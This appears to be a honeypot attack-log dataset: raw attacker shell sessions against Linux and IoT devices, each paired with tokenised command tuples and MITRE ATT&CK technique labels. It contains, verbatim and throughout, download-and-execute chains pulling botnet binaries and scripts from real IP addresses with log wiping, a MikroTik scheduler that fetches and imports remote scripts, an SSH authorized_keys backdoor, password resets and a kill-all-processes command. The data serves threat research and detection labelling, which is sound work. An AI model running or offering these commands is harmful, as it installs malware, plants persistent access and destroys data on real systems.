ls
pwd
cd /home
cd phil
cd /etc
cd /proc
cd
cd /dev
cd ..
cd bin
cd boot
cd mnt
cd opt


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NDNYN

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OKSWA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OAWUB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GBAOM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FMFXH


cat /etc/issue; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://179.43.176.41/cometome; cat cometome > meth; chmod +x meth; chmod 777 meth; ./meth; history -c

cat /etc/issue; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://37.49.230.55/1a9zxq/meth.x86; cat meth.x86 > meth; chmod +x meth; chmod 777 *; ./meth rooted; history -c

cat /etc/issue; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://179.43.176.41/1a9zxq/meth.x86; cat meth.x86 > meth; chmod +x meth; chmod 777 *; ./meth rooted; cat /etc/issue; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://179.43.176.41/cometome; cat cometome > meth; chmod +x meth; chmod 777 *; ./meth; history -c

('cat ; cd || cd || cd || cd || cd ; wget -q ; cat > ; chmod +x ; chmod ; ./ ; history -c', 'cat ; cd || cd || cd || cd || cd ; wget -q ; cat > ; chmod +x ; chmod ; ./ ; history -c', 'cat ; cd || cd || cd || cd || cd ; wget -q ; cat > ; chmod +x ; chmod ; ./ ; cat ; cd || cd || cd || cd || cd ; wget -q ; cat > ; chmod +x ; chmod ; ./ ; history -c', 'cat ; cd || cd || cd || cd || cd ; wget -q ; cat > ; chmod +x ; chmod ; ./ ; history -c')

T1222 File and Directory Permissions Modification


cd /tmp || cd /run || cd /; wget http://128.199.229.13/yoyobins.sh; chmod 777 yoyobins.sh; sh yoyobins.sh; tftp 128.199.229.13 -c get yoyotftp1.sh; chmod 777 yoyotftp1.sh; sh yoyotftp1.sh; tftp -r yoyotftp2.sh -g 128.199.229.13; chmod 777 yoyotftp2.sh; sh yoyotftp2.sh; rm -rf yoyobins.sh yoyotftp1.sh yoyotftp2.sh; rm -rf *

('cd || cd || cd ; wget ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; rm -rf ; rm -rf',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UHLJJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WAKBC


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://myfrance.xyz/poll/7affcbff-2216-4dca-ba48-80b5f7137ce4 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write

T1037 Boot or Logon Initialization Scripts


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')

T1016 System Network Configuration Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EFMWJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WTYCG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SWSHO

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VYPDG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CCWAU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZNPIF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QNRMB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JNRLQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DZHZF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XYWRS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JTDYR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UMWSG

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YDMQR

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DESPZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XSFFR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MJKCK

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/e5f52473-142b-4ae7-8548-08d8e5cb9c9a mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TOUCW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IWQNP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RWEFY


cd /tmp || cd /run || cd /; wget http://134.122.65.100/yoyobins.sh; chmod 777 yoyobins.sh; sh yoyobins.sh; tftp 134.122.65.100 -c get yoyotftp1.sh; chmod 777 yoyotftp1.sh; sh yoyotftp1.sh; tftp -r yoyotftp2.sh -g 134.122.65.100; chmod 777 yoyotftp2.sh; sh yoyotftp2.sh; rm -rf yoyobins.sh yoyotftp1.sh yoyotftp2.sh; rm -rf *


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PKAXK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KYSFH


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XFFII


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AYMNG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RFQPR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CFTNC

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MMNPY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OLNMJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ONVRL


('sh', 'wget', '/bin/busybox ; echo -e', '; echo -e')

T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1083 File and Directory Discovery
T1027 Obfuscated Files or Information
T1083 File and Directory Discovery
T1027 Obfuscated Files or Information


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IQUGM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DADXF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WCEAV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MBDLT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZKNSI


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GUKPM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GYITJ


cd /tmp || cd /run || cd /; wget http://134.122.65.100/yoyobins.sh; chmod 777 yoyobins.sh; sh yoyobins.sh; tftp 134.122.65.100 -c get yoyotftp1.sh; chmod 777 yoyotftp1.sh; sh yoyotftp1.sh; tftp -r yoyotftp2.sh -g 134.122.65.100; chmod 777 yoyotftp2.sh; sh yoyotftp2.sh; rm -rf yoyobins.sh yoyotftp1.sh yoyotftp2.sh; rm -rf *


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PCPCU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HNBVC

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YZQAJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LGHAI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RYKMU


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/d2cfafe4-99aa-4f2b-82eb-2ffac75f0aa6 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/1bd4424d-8c86-43ff-acc4-b2580e68d25c mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TCCJC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XBBHZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZYKRJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NXFPY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VNUNA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LBHCK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RKFTK


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AVAIJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HDLWF

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


uname -snrvmo
w
uname -a
cd /tmp
ps -a
python
cat /etc/issue
apt-get install screenfetch
screenfetch
kill -9 -1`
kill -9 -1

('uname', 'w', 'uname', 'cd', 'ps', 'python', 'cat', 'apt-get', 'screenfetch', 'kill', 'kill')

T1087 Account Discovery
T1083 File and Directory Discovery
T1057 Process Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1082 System Information Discovery
T1489 Service Stop


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CZMHV


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HLCQL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RHOPT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SQWDA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DQKGV


cd /tmp || cd /var/run || cd /sys || cd /bin || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtr.sh;; curl -O http://109.104.151.108/mtr.sh; chmod +x mtr.sh; sh mtr.sh; tftp 109.104.151.108 -c get mtr1.sh; chmod 777 mtr1.sh; sh mtr1.sh; tftp -r mtr2.sh -g 109.104.151.108; chmod 777 mtr2.sh; sh mtr2.sh; rm -rf *.sh; history -c

cd /tmp || cd /var/run || cd /sys || cd /bin || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/zmbot.x86; busybox wget http://109.104.151.108/mtro/zmbot.x86; curl -O http://109.104.151.108/mtro/zmbot.x86; chmod +x zmbot.x86; ./zmbot.x86 Selfrep.x86; tftp 109.104.151.108 -c get xbot; chmod 777 xbot; ./xbot Exploit.x86; tftp -r xbot -g 109.104.151.108; chmod 777 xbot; ./xbot tftp.Exploit.x86; rm -rf xbot zmbot.x86; history -c

cd /tmp || cd /var/run || cd /sys || cd /bin || cd /mnt || cd /root || cd /; wget http://109.104.151.10/mtr.sh; busybox http://109.104.151.10/mtr.sh; curl -O http://109.104.151.10/mtr.sh; chmod +x mtr.sh; sh mtr.sh; rm -rf mtr.sh; tftp 109.104.151.10 -c get mtr1.sh; chmod 777 mtr1.sh; sh mtr1.sh; tftp -r mtr2.sh -g 109.104.151.10; chmod +x mtr2.sh; sh mtr2.sh; rm -rf *.sh; history -c

cd /tmp || cd /var/run || cd /sys || cd /bin || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtr.sh; busybox wget http://109.104.151.108/mtr.sh; curl -O http://109.104.151.108/mtr.sh; chmod +x mtr.sh; sh mtr.sh; rm -rf mtr.sh; tftp 109.104.151.108 -c get mtr1.sh; chmod 777 mtr1.sh; sh mtr1.sh; tftp -r mtr2.sh -g 109.104.151.108; chmod +x mtr2.sh; sh mtr2.sh; rm -rf *.sh; history -c

('cd || cd || cd || cd || cd || cd || cd ; wget ; curl -O ; chmod +x ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; rm -rf ; history -c', 'cd || cd || cd || cd || cd || cd || cd ; wget ; busybox wget ; curl -O ; chmod +x ; ./ ; tftp -c ; chmod ; ./ ; tftp -r -g ; chmod ; ./ ; rm -rf ; history -c', 'cd || cd || cd || cd || cd || cd || cd ; wget ; busybox ; curl -O ; chmod +x ; sh ; rm -rf ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod +x ; sh ; rm -rf ; history -c', 'cd || cd || cd || cd || cd || cd || cd ; wget ; busybox wget ; curl -O ; chmod +x ; sh ; rm -rf ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod +x ; sh ; rm -rf ; history -c')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SKXGG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TNXQE


cd /tmp; wget 51.79.55.208:8281/sshd -O /tmp/sshd; curl 51.79.55.208:8281/sshd -o /tmp/sshd; bash /tmp/sshd; rm -rf /tmp/sshd; rm -r /tmp/sshd; rm -rf /var/tmp/sshd; rm -rf /var/tmp/sshd.*; rm -rf /tmp/sshd.*

('cd ; wget -O ; curl -o ; bash ; rm -rf ; rm -r ; rm -rf ; rm -rf ; rm -rf',)

T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZODGL

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VOCLG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QJUYQ


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VKUDN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OGDRV


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RHFOQ


enable
sh
shell
linuxshell
system
ls /home
/bin/busybox CORONA

('enable', 'sh', 'shell', 'linuxshell', 'system', 'ls', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WNDWQ

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CJLPE


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/8d647fdc-7079-41fa-9561-11ce7a2bad4c mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CASES


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TFLOH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ARVOX

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LHVKT


enable
sh
shell
linuxshell
system
/bin/busybox CORONA

('enable', 'sh', 'shell', 'linuxshell', 'system', '/bin/busybox')


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/c2368b25-d69f-4974-9217-0efbdd88bbcc mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EBAHM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZIKCX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WHTRJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IQCOB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DAFLI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GOVGK

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LLJJJ


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GCNON

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DWTJJ


wget http://109.104.151.108/mtr.sh; busybox wget http://109.104.151.108/mtr.sh; curl -O http://109.104.151.108/mtr.sh; chmod +x mtr.sh; sh mtr.sh; tftp 109.104.151.108 -c get mtr1.sh; chmod 777 mtr1.sh; sh mtr1.sh; tftp -r mtr2.sh -g 109.104.151.108; chmod 777 mtr2.sh; sh mtr2.sh; rm -rf *.sh; history -c

('wget ; busybox wget ; curl -O ; chmod +x ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; rm -rf ; history -c',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SIQEV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CKCBF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZQAKN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RBBLS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RROXG


cd /tmp || cd /var/run || cd /sys || cd /bin || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/zmbot.x86; busybox wget http://109.104.151.108/mtro/zmbot.x86; curl -O http://109.104.151.108/mtro/zmbot.x86; chmod +x zmbot.x86; ./zmbot.x86 Selfrep.x86; tftp 109.104.151.108 -c get xbot; chmod 777 xbot; ./xbot Exploit.x86; tftp -r xbot -g 109.104.151.108; chmod 777 xbot; ./xbot tftp.Exploit.x86; rm -rf xbot zmbot.x86; history -c

cd /tmp || cd /var/run || cd /sys || cd /bin || cd /mnt || cd /root || cd /; wget http://109.104.151.10/mtr.sh; busybox wget http://109.104.151.10/mtr.sh; curl -O http://109.104.151.10/mtr.sh; chmod +x mtr.sh; sh mtr.sh; rm -rf mtr.sh; tftp 109.104.151.10 -c get mtr1.sh; chmod 777 mtr1.sh; sh mtr1.sh; tftp -r mtr2.sh -g 109.104.151.10; chmod +x mtr2.sh; sh mtr2.sh; rm -rf *.sh; history -c

('cd || cd || cd || cd || cd || cd || cd ; wget ; busybox wget ; curl -O ; chmod +x ; ./ ; tftp -c ; chmod ; ./ ; tftp -r -g ; chmod ; ./ ; rm -rf ; history -c', 'cd || cd || cd || cd || cd || cd || cd ; wget ; busybox wget ; curl -O ; chmod +x ; sh ; rm -rf ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod +x ; sh ; rm -rf ; history -c')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


('cd || cd ; wget -q ; curl -O chmod +x ; ./',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QRJFX

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CPUXV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LNMWA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GQRPU

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TODCF


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo -e | passwd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo -e | passwd | bash')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OMZQV


